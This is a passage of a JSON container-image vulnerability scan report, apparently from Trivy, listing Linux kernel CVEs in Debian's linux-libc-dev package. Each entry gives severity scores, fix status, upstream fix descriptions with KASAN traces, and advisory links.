"https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/3.0.0/BRSA-yqpvbhs7zyjx.toml", "https://linux.oracle.com/cve/CVE-2025-21927.html", "https://linux.oracle.com/errata/ELSA-2025-7501.html", "https://lore.kernel.org/linux-cve-announce/2025040133-CVE-2025-21927-36d6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-21927", "https://ubuntu.com/security/notices/USN-7605-1", "https://ubuntu.com/security/notices/USN-7605-2", "https://ubuntu.com/security/notices/USN-7606-1", "https://ubuntu.com/security/notices/USN-7628-1", "https://ubuntu.com/security/notices/USN-7764-1", "https://ubuntu.com/security/notices/USN-7764-2", "https://ubuntu.com/security/notices/USN-7765-1", "https://ubuntu.com/security/notices/USN-7766-1", "https://ubuntu.com/security/notices/USN-7767-1", "https://ubuntu.com/security/notices/USN-7767-2", "https://ubuntu.com/security/notices/USN-7779-1", "https://ubuntu.com/security/notices/USN-7790-1", "https://ubuntu.com/security/notices/USN-7800-1", "https://ubuntu.com/security/notices/USN-7801-1", "https://ubuntu.com/security/notices/USN-7801-2", "https://ubuntu.com/security/notices/USN-7801-3", "https://ubuntu.com/security/notices/USN-7802-1", "https://ubuntu.com/security/notices/USN-7809-1", "https://www.cve.org/CVERecord?id=CVE-2025-21927" ], "PublishedDate": "2025-04-01T16:15:23.47Z", "LastModifiedDate": "2026-10-30T13:17:54.157Z" }, { "VulnerabilityID": "CVE-2025-21967", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-21967", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a25aa6c40cc5dafa04f4219e43758f21cc3800461a5bb36e8d73af5e862a4bbf", "Title": "kernel: ksmbd: fix use-after-free in ksmbd_free_work_struct", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in ksmbd_free_work_struct\n\n-\u003einterim_entry of ksmbd_work could be deleted after oplock is freed.\nWe don't need to manage it with linked list. The interim request could be\nimmediately sent whenever a oplock break wait is needed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-21967", "https://git.kernel.org/linus/bb39ed47065455604729404729d9116868638d31%20%286.14-rc7%29", "https://git.kernel.org/stable/c/62746ae3f5414244a96293e3b017be637b641280", "https://git.kernel.org/stable/c/bb39ed47065455604729404729d9116868638d31", "https://git.kernel.org/stable/c/eb51f6f59d19b92f6fe84d3873f958495ab32f0a", "https://git.kernel.org/stable/c/fb776765bfc21d5e4ed03bb3d4406c2b86ff1ac3", "https://git.kernel.org/stable/c/ffe0909010b21df8f948d624ad00cf14dd856721", "https://linux.oracle.com/cve/CVE-2025-21967.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025040146-CVE-2025-21967-114e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-21967", "https://ubuntu.com/security/notices/USN-7605-1", "https://ubuntu.com/security/notices/USN-7605-2", "https://ubuntu.com/security/notices/USN-7606-1", "https://ubuntu.com/security/notices/USN-7628-1", "https://ubuntu.com/security/notices/USN-7764-1", "https://ubuntu.com/security/notices/USN-7764-2", "https://ubuntu.com/security/notices/USN-7765-1", "https://ubuntu.com/security/notices/USN-7766-1", "https://ubuntu.com/security/notices/USN-7767-1", "https://ubuntu.com/security/notices/USN-7767-2", "https://ubuntu.com/security/notices/USN-7779-1", "https://ubuntu.com/security/notices/USN-7790-1", "https://ubuntu.com/security/notices/USN-7800-1", "https://ubuntu.com/security/notices/USN-7801-1", "https://ubuntu.com/security/notices/USN-7801-2", "https://ubuntu.com/security/notices/USN-7801-3", "https://ubuntu.com/security/notices/USN-7802-1", "https://ubuntu.com/security/notices/USN-7809-1", "https://www.cve.org/CVERecord?id=CVE-2025-21967" ], "PublishedDate": "2025-04-01T16:15:27.983Z", "LastModifiedDate": "2026-10-30T13:17:55.01Z" }, { "VulnerabilityID": "CVE-2025-21969", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-21969", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd585f66a32fffd8b4a0a4565433badf16298e061501ab406b4643670a8b8ab0", "Title": "kernel: Bluetooth: L2CAP: Fix slab-use-after-free Read in l2cap_send_cmd", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix slab-use-after-free Read in l2cap_send_cmd\n\nAfter the hci sync command releases l2cap_conn, the hci receive data work\nqueue references the released l2cap_conn when sending to the upper layer.\nAdd hci dev lock to the hci receive data work queue to synchronize the two.\n\n[1]\nBUG: KASAN: slab-use-after-free in l2cap_send_cmd+0x187/0x8d0 net/bluetooth/l2cap_core.c:954\nRead of size 8 at addr ffff8880271a4000 by task kworker/u9:2/5837\n\nCPU: 0 UID: 0 PID: 5837 Comm: kworker/u9:2 Not tainted 6.13.0-rc5-syzkaller-00163-gab75170520d4 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nWorkqueue: hci1 hci_rx_work\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:489\n kasan_report+0x143/0x180 mm/kasan/report.c:602\n l2cap_build_cmd net/bluetooth/l2cap_core.c:2964 [inline]\n l2cap_send_cmd+0x187/0x8d0 net/bluetooth/l2cap_core.c:954\n l2cap_sig_send_rej net/bluetooth/l2cap_core.c:5502 [inline]\n l2cap_sig_channel net/bluetooth/l2cap_core.c:5538 [inline]\n l2cap_recv_frame+0x221f/0x10db0 net/bluetooth/l2cap_core.c:6817\n hci_acldata_packet net/bluetooth/hci_core.c:3797 [inline]\n hci_rx_work+0x508/0xdb0 net/bluetooth/hci_core.c:4040\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n \u003c/TASK\u003e\n\nAllocated by task 5837:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __kmalloc_cache_noprof+0x243/0x390 mm/slub.c:4329\n kmalloc_noprof include/linux/slab.h:901 [inline]\n kzalloc_noprof include/linux/slab.h:1037 [inline]\n l2cap_conn_add+0xa9/0x8e0 net/bluetooth/l2cap_core.c:6860\n l2cap_connect_cfm+0x115/0x1090 net/bluetooth/l2cap_core.c:7239\n hci_connect_cfm include/net/bluetooth/hci_core.h:2057 [inline]\n hci_remote_features_evt+0x68e/0xac0 net/bluetooth/hci_event.c:3726\n hci_event_func net/bluetooth/hci_event.c:7473 [inline]\n hci_event_packet+0xac2/0x1540 net/bluetooth/hci_event.c:7525\n hci_rx_work+0x3f3/0xdb0 net/bluetooth/hci_core.c:4035\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nFreed by task 54:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:582\n poison_slab_object mm/kasan/common.c:247 [inline]\n __kasan_slab_free+0x59/0x70 mm/kasan/common.c:264\n kasan_slab_free include/linux/kasan.h:233 [inline]\n slab_free_hook mm/slub.c:2353 [inline]\n slab_free mm/slub.c:4613 [inline]\n kfree+0x196/0x430 mm/slub.c:4761\n l2cap_connect_cfm+0xcc/0x1090 net/bluetooth/l2cap_core.c:7235\n hci_connect_cfm include/net/bluetooth/hci_core.h:2057 [inline]\n hci_conn_failed+0x287/0x400 net/bluetooth/hci_conn.c:1266\n hci_abort_conn_sync+0x56c/0x11f0 net/bluetooth/hci_sync.c:5603\n hci_cmd_sync_work+0x22b/0x400 net/bluetooth/hci_sync.c:332\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:9080", "https://access.redhat.com/security/cve/CVE-2025-21969", "https://bugzilla.redhat.com/2356584", "https://bugzilla.redhat.com/2356633", "https://bugzilla.redhat.com/2356642", "https://bugzilla.redhat.com/2356652", "https://bugzilla.redhat.com/2357134", "https://bugzilla.redhat.com/2360236", "https://bugzilla.redhat.com/2363341", "https://bugzilla.redhat.com/show_bug.cgi?id=2356584", "https://bugzilla.redhat.com/show_bug.cgi?id=2356633", "https://bugzilla.redhat.com/show_bug.cgi?id=2356642", "https://bugzilla.redhat.com/show_bug.cgi?id=2356652", "https://bugzilla.redhat.com/show_bug.cgi?id=2357134", "https://bugzilla.redhat.com/show_bug.cgi?id=2360236", "https://bugzilla.redhat.com/show_bug.cgi?id=2363341", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21961", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21963", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21969", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22126", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37750", "https://errata.almalinux.org/9/ALSA-2025-9080.html", "https://errata.rockylinux.org/RLSA-2025:9080", "https://git.kernel.org/linus/b4f82f9ed43aefa79bec2504ae8c29be0c0f5d1d%20%286.14-rc3%29", "https://git.kernel.org/stable/c/7790a79c6fce8d5d552bc64f5c82819f719e4f28", "https://git.kernel.org/stable/c/967473b1e8bb6d941e034ec1f76de40ccf54a8cf", "https://git.kernel.org/stable/c/b4f82f9ed43aefa79bec2504ae8c29be0c0f5d1d", "https://git.kernel.org/stable/c/c96cce853542b3b13da3738f35ef1be8cfcc9d1d", "https://git.kernel.org/stable/c/f8094625a591eeb0b75b1bd9e713fac1d93f5ca9", "https://linux.oracle.com/cve/CVE-2025-21969.html", "https://linux.oracle.com/errata/ELSA-2025-9080.html", "https://lore.kernel.org/linux-cve-announce/2025040146-CVE-2025-21969-d4f2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-21969", "https://ubuntu.com/security/notices/USN-7605-1", "https://ubuntu.com/security/notices/USN-7605-2", "https://ubuntu.com/security/notices/USN-7606-1", "https://ubuntu.com/security/notices/USN-7628-1", "https://ubuntu.com/security/notices/USN-7764-1", "https://ubuntu.com/security/notices/USN-7764-2", "https://ubuntu.com/security/notices/USN-7765-1", "https://ubuntu.com/security/notices/USN-7766-1", "https://ubuntu.com/security/notices/USN-7767-1", "https://ubuntu.com/security/notices/USN-7767-2", "https://ubuntu.com/security/notices/USN-7779-1", "https://ubuntu.com/security/notices/USN-7790-1", "https://ubuntu.com/security/notices/USN-7800-1", "https://ubuntu.com/security/notices/USN-7801-1", "https://ubuntu.com/security/notices/USN-7801-2", "https://ubuntu.com/security/notices/USN-7801-3", "https://ubuntu.com/security/notices/USN-7802-1", "https://ubuntu.com/security/notices/USN-7809-1", "https://www.cve.org/CVERecord?id=CVE-2025-21969" ], "PublishedDate": "2025-04-01T16:15:28.207Z", "LastModifiedDate": "2026-10-30T13:17:55.237Z" }, { "VulnerabilityID": "CVE-2025-21985", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-21985", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2d5365886c8fe5fd63a9d13f68517c775097cdfaf29407a90d3d0e0cbb8e7073", "Title": "kernel: drm/amd/display: Fix out-of-bound accesses", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix out-of-bound accesses\n\n[WHAT \u0026 HOW]\nhpo_stream_to_link_encoder_mapping has size MAX_HPO_DP2_ENCODERS(=4),\nbut location can have size up to 6. As a result, it is necessary to\ncheck location against MAX_HPO_DP2_ENCODERS.\n\nSimiliarly, disp_cfg_stream_location can be used as an array index which\nshould be 0..5, so the ASSERT's conditions should be less without equal.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-21985", "https://git.kernel.org/linus/8adbb2a98b00926315fd513b5fe2596b5716b82d%20%286.14-rc2%29", "https://git.kernel.org/stable/c/36793d90d76f667d26c6dd025571481ee0c96abc", "https://git.kernel.org/stable/c/8adbb2a98b00926315fd513b5fe2596b5716b82d", "https://git.kernel.org/stable/c/9aedc776b11038f04f4641241bb7e877781e4aa4", "https://linux.oracle.com/cve/CVE-2025-21985.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025040149-CVE-2025-21985-435c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-21985", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2025-21985" ], "PublishedDate": "2025-04-01T16:15:29.91Z", "LastModifiedDate": "2026-07-30T06:22:01.797Z" }, { "VulnerabilityID": "CVE-2025-22039", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22039", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cedb4357dd202786a75c8091598c7d0ed742a692a41bad457d6ec68fd7423082", "Title": "kernel: ksmbd: fix overflow in dacloffset bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix overflow in dacloffset bounds check\n\nThe dacloffset field was originally typed as int and used in an\nunchecked addition, which could overflow and bypass the existing\nbounds check in both smb_check_perm_dacl() and smb_inherit_dacl().\n\nThis could result in out-of-bounds memory access and a kernel crash\nwhen dereferencing the DACL pointer.\n\nThis patch converts dacloffset to unsigned int and uses\ncheck_add_overflow() to validate access to the DACL.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-22039", "https://git.kernel.org/linus/beff0bc9d69bc8e733f9bca28e2d3df5b3e10e42%20%286.15-rc1%29", "https://git.kernel.org/stable/c/443b373a4df5a2cb9f7b8c4658b2afedeb16397f", "https://git.kernel.org/stable/c/6a9cd9ff0fa2bcc30b2bfb8bdb161eb20e44b9dc", "https://git.kernel.org/stable/c/6b8d379048b168a0dff5ab1acb975b933f368514", "https://git.kernel.org/stable/c/73f074fb5e139cd42ad75089abe4e28a49a30003", "https://git.kernel.org/stable/c/8483d7b532be1d1bc149556a2fedf903868c6303", "https://git.kernel.org/stable/c/abbb4ec41867f2cd1c971258e493893bf43bcbd3", "https://git.kernel.org/stable/c/beff0bc9d69bc8e733f9bca28e2d3df5b3e10e42", "https://linux.oracle.com/cve/CVE-2025-22039.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025041659-CVE-2025-22039-2a63@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-22039", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-7605-1", "https://ubuntu.com/security/notices/USN-7605-2", "https://ubuntu.com/security/notices/USN-7606-1", "https://ubuntu.com/security/notices/USN-7628-1", "https://ubuntu.com/security/notices/USN-7835-1", "https://ubuntu.com/security/notices/USN-7835-2", "https://ubuntu.com/security/notices/USN-7835-3", "https://ubuntu.com/security/notices/USN-7835-4", "https://ubuntu.com/security/notices/USN-7835-5", "https://ubuntu.com/security/notices/USN-7835-6", "https://ubuntu.com/security/notices/USN-7887-1", "https://ubuntu.com/security/notices/USN-7887-2", "https://ubuntu.com/security/notices/USN-7940-1", "https://ubuntu.com/security/notices/USN-7940-2", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2025-22039" ], "PublishedDate": "2025-04-16T15:15:56.5Z", "LastModifiedDate": "2026-09-14T12:17:35.03Z" }, { "VulnerabilityID": "CVE-2025-22104", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22104", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d3c0f4d1135ab27fad0e3bd6d7c17345d15fc311239fd31bbd8b0a78f7f75d45", "Title": "kernel: ibmvnic: Use kernel helpers for hex dumps", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmvnic: Use kernel helpers for hex dumps\n\nPreviously, when the driver was printing hex dumps, the buffer was cast\nto an 8 byte long and printed using string formatters. If the buffer\nsize was not a multiple of 8 then a read buffer overflow was possible.\n\nTherefore, create a new ibmvnic function that loops over a buffer and\ncalls hex_dump_to_buffer instead.\n\nThis patch address KASAN reports like the one below:\n ibmvnic 30000003 env3: Login Buffer:\n ibmvnic 30000003 env3: 01000000af000000\n \u003c...\u003e\n ibmvnic 30000003 env3: 2e6d62692e736261\n ibmvnic 30000003 env3: 65050003006d6f63\n ==================================================================\n BUG: KASAN: slab-out-of-bounds in ibmvnic_login+0xacc/0xffc [ibmvnic]\n Read of size 8 at addr c0000001331a9aa8 by task ip/17681\n \u003c...\u003e\n Allocated by task 17681:\n \u003c...\u003e\n ibmvnic_login+0x2f0/0xffc [ibmvnic]\n ibmvnic_open+0x148/0x308 [ibmvnic]\n __dev_open+0x1ac/0x304\n \u003c...\u003e\n The buggy address is located 168 bytes inside of\n allocated 175-byte region [c0000001331a9a00, c0000001331a9aaf)\n \u003c...\u003e\n =================================================================\n ibmvnic 30000003 env3: 000000000033766e", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:9302", "https://access.redhat.com/security/cve/CVE-2025-22104", "https://bugzilla.redhat.com/2355415", "https://bugzilla.redhat.com/2356618", "https://bugzilla.redhat.com/2360265", "https://bugzilla.redhat.com/2363268", "https://bugzilla.redhat.com/2363305", "https://bugzilla.redhat.com/show_bug.cgi?id=2355415", "https://bugzilla.redhat.com/show_bug.cgi?id=2356618", "https://bugzilla.redhat.com/show_bug.cgi?id=2360265", "https://bugzilla.redhat.com/show_bug.cgi?id=2363268", "https://bugzilla.redhat.com/show_bug.cgi?id=2363305", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21883", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22104", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-23150", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37738", "https://errata.almalinux.org/9/ALSA-2025-9302.html", "https://errata.rockylinux.org/RLSA-2025:9302", "https://git.kernel.org/linus/d93a6caab5d7d9b5ce034d75b1e1e993338e3852%20%286.15-rc1%29", "https://git.kernel.org/stable/c/005fee039dd845122d313ac8f2122b0d09dc5d7b", "https://git.kernel.org/stable/c/19efa170e01207c8ada726f3f6c65b31fcba2a73", "https://git.kernel.org/stable/c/9bc078818ec76344c2e06b81d7aee2df3adecfbf", "https://git.kernel.org/stable/c/ae6b1d6c1acee3a2000394d83ec9f1028321e207", "https://git.kernel.org/stable/c/d93a6caab5d7d9b5ce034d75b1e1e993338e3852", "https://linux.oracle.com/cve/CVE-2025-22104.html", "https://linux.oracle.com/errata/ELSA-2025-9896.html", "https://lore.kernel.org/linux-cve-announce/2025041622-CVE-2025-22104-0a82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-22104", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-22104" ], "PublishedDate": "2025-04-16T15:16:04.733Z", "LastModifiedDate": "2026-09-02T13:16:48.767Z" }, { "VulnerabilityID": "CVE-2025-23133", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-23133", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3fc14559a9ca14a898d3f4d36d0930e8ff7412190459c7dda60905f261d843ac", "Title": "kernel: wifi: ath11k: update channel list in reg notifier instead reg worker", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: update channel list in reg notifier instead reg worker\n\nCurrently when ath11k gets a new channel list, it will be processed\naccording to the following steps:\n1. update new channel list to cfg80211 and queue reg_work.\n2. cfg80211 handles new channel list during reg_work.\n3. update cfg80211's handled channel list to firmware by\nath11k_reg_update_chan_list().\n\nBut ath11k will immediately execute step 3 after reg_work is just\nqueued. Since step 2 is asynchronous, cfg80211 may not have completed\nhandling the new channel list, which may leading to an out-of-bounds\nwrite error:\nBUG: KASAN: slab-out-of-bounds in ath11k_reg_update_chan_list\nCall Trace:\n ath11k_reg_update_chan_list+0xbfe/0xfe0 [ath11k]\n kfree+0x109/0x3a0\n ath11k_regd_update+0x1cf/0x350 [ath11k]\n ath11k_regd_update_work+0x14/0x20 [ath11k]\n process_one_work+0xe35/0x14c0\n\nShould ensure step 2 is completely done before executing step 3. Thus\nWen raised patch[1]. When flag NL80211_REGDOM_SET_BY_DRIVER is set,\ncfg80211 will notify ath11k after step 2 is done.\n\nSo enable the flag NL80211_REGDOM_SET_BY_DRIVER then cfg80211 will\nnotify ath11k after step 2 is done. At this time, there will be no\nKASAN bug during the execution of the step 3.\n\n[1] https://patchwork.kernel.org/project/linux-wireless/patch/20230201065313.27203-1-quic_wgong@quicinc.com/\n\nTested-on: WCN6855 hw2.0 PCI WLAN.HSP.1.1-03125-QCAHSPSWPL_V1_V2_SILICONZ_LITE-3", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-23133", "https://git.kernel.org/linus/933ab187e679e6fbdeea1835ae39efcc59c022d2%20%286.15-rc1%29", "https://git.kernel.org/stable/c/26618c039b78a76c373d4e02c5fbd52e3a73aead", "https://git.kernel.org/stable/c/933ab187e679e6fbdeea1835ae39efcc59c022d2", "https://git.kernel.org/stable/c/ec97bd5378c594be1f1c7a15dcf381e075b665d9", "https://git.kernel.org/stable/c/f952fb83c9c6f908d27500764c4aee1df04b9d3f", "https://linux.oracle.com/cve/CVE-2025-23133.html", "https://linux.oracle.com/errata/ELSA-2025-25754.html", "https://lore.kernel.org/linux-cve-announce/2025041632-CVE-2025-23133-c1c5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-23133", "https://ubuntu.com/security/notices/USN-7594-1", "https://ubuntu.com/security/notices/USN-7594-2", "https://ubuntu.com/security/notices/USN-7594-3", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", 